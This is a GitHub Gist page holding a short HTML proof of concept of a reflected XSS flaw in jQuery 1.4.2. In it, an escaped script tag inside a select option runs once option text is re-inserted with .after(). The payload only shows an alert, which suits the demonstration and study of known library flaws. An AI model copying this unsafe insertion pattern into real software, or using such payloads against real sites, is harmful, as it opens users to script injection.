Last active
August 23, 2022 16:53
-
-
Save lotusirous/b82652597538e3790f2443943dadad83 to your computer and use it in GitHub Desktop.
Example of XSS vulnerability on Jquery 1.4.2
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<head> | |
<meta charset="utf-8"> | |
<title>XSS Reflected - Jquery 1.4.2 </title> | |
<script src="http://www.tcs.com.vn/mysite/javascript/jquery-1.4.2.min.js"></script> | |
<script> | |
$(function() { | |
$('#users').each(function() { | |
var select = $(this); | |
var option = select.children('option').first(); | |
select.after(option.text()); | |
select.hide(); | |
}); | |
}); | |
</script> | |
</head> | |
<body> | |
<form method="post"> | |
<p> | |
<select id="users" name="users"> | |
<option value="xssreflected"><script>alert("XSS");</script></option> | |
</select> | |
</p> | |
</form> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
how do i use this code buddy